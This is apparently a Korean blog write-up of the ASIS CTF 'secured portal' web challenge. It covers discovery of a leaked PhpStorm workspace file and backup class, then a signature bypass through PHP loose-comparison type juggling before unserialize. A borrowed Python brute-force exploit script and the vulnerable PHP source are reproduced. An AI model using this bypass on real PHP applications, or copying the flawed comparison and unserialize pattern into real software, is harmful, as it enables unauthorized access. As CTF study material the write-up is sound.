asis - secured portal (0) -> object injection. 문제 아무것도 없어보이지만 function.js에 가보면 /authentication/login이라는 링크와 /panel/index라는 링크를 찾을 수 잇고 여기서 login string이라는 목표 공격대상을 찾을 수 있다. 그리고 문제에서 IDE와 function.js에서 phpstorm 을 사용했다는 힌트가 주어졌는데 많은 웹 프로그래머들이 IDE(integrated development environment)를 사용할떄 숨김 폴더를 만든다고 한다. phpstorm에서는 다음과 같은 IDE환경에 숨김 파일 흔적을 남기는데 , .idea/workspace.xml 이곳이다. 들어가보면 /backup/panel.class.php.bk를 찾을 수 있고 이 파일을 보면 login 정보를 get으로 object로 넘기는데 type confusion을 이용하여 우회 할 수 있다.
내용은 아래와 같은데 auth의 하위 32바이트를 세션 스트링으로 쓰는데 이를 '00000000...'으로 채워주고
이 세션 스트링을 md5($payload.$this->__sessionKey); 의 상위 6바이트와 '=='으로 비교하므로 이 md5값을 0e(숫자4개)로 맞춰주면 typeconfusion으로 참이 된다. session키의 값은 auth의 하위32바이트를 제외한 값을 base64_decode한 값으로 이에 맞게끔만 object를 짜주면 된다. md5더미는 serialized 배열에 배열 변수를 하나 더 만들어서 브루트포싱해준다.
아래는 다른사람 코드
import sys import base64 import string import requests URL = 'http://46.101.96.182/panel/index' SIG = '00000000000000000000000000000000' template = 'a:2:{s:6:"logged";b:1;s:3:"foo";s:%d:"%s";}' for c in string.letters + string.digits: for i in range(0, 500): OBJ = template % (i, c * i) r = requests.get(URL, params={'auth': base64.b64encode(OBJ) + SIG}) if not 'login required' in r.text: print('found collision') print(OBJ) print(base64.b64encode(OBJ)) sys.exit(0)
class panel extends main { /** * holds authentication status of the user * @var boolean */ private $__auth; /** * holding database object * @var object */ private $__db; /** * checking authentication string * * @param string object */ function __construct($db){ $this->__db = $db; $sessionString = null; /** * gathering authentication string by auth parameter in HTTP request */ if(array_key_exists('auth', $_GET)) $sessionString = $_GET['auth']; if(strlen($sessionString) > 32){ $signature = substr($sessionString, -32); $payload = base64_decode(substr($sessionString, 0, -32)); /** * real signature calculation based on the key */ $realSign = md5($payload.$this->__sessionKey); /** * making it impossible to login, if the site is under maintenance, */ if(__MAINTENANCE__===true) $realSign = substr($realSign, 0, 6); /** * checking signature, prevent to data forgery by user */ if($realSign == $signature){ $this->data = unserialize($payload); if(is_array($this->data)){ /** * checking login status */ if($this->data['logged']===true){ $this->__auth = true; } } } } } /** * index */ function index(){ if(!$this->__auth){ echo 'login required'; return false; } template('panel'); } /** * send http request to contact server, after the validity of message format is checked, we will look at messages in paper print */ function flag(){ if(!$this->__auth){ echo 'login required'; return false; } /* * WOW, SEEMS THE FLAG IS HERE :) */ require 'includes/flag.php'; }
'CTF' 카테고리의 다른 글
[codegate final]owner (0) | 2017.04.19 |
---|---|
[ASISctf] DLP (2) | 2017.04.13 |
[asisctf]wandere bits (0) | 2017.04.12 |
[asisctf]start hard (0) | 2017.04.12 |
[VolgaCTF]guessing_game 200pt (8) | 2017.03.25 |